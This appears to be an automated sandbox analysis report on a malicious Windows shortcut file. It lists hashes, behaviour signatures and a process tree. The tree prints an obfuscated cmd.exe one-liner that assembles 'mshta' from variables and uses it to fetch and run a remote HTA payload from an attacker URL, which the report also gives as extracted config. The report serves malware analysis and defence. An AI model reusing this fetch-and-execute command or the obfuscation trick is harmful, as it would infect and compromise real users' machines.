Analysis
- max time kernel
40s - max time network
40s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 18:06
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4XLAQA.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-4XLAQA.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-4XLAQA.lnk
- Size 1KB
- Sample260803-wp6spavdmf
- SHA256 9fc7d9edb5cdccebf35f9ba6a074ac72c6c711ffbd294903d32c30954869bae9
- MD5 79ec77ebabacd77ac4ec55503d829c7d
- SHA1 95c9b2cdf9d654c2384936b4912fc86e5931e84b
- SHA512 4e3ca0b5222c58809156fbd6d6f7262bc9a108d66653b3ac07da6cc48a99d1578bb1eeb39011bd47e749578a44a934061d113e4e5163edde28964d4d0412b191
- TLSH T117317B503FFD0624F3F38F7794BB572486BBB8968E24DA2D4141454C5032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2960 cmd.exe 4388 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2960 wrote to memory of 4388 2960 cmd.exe 90 PID 4388 wrote to memory of 2676 4388 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4XLAQA.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Se=msh&&set LQL=ta&&start "" !Se!!LQL! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2676
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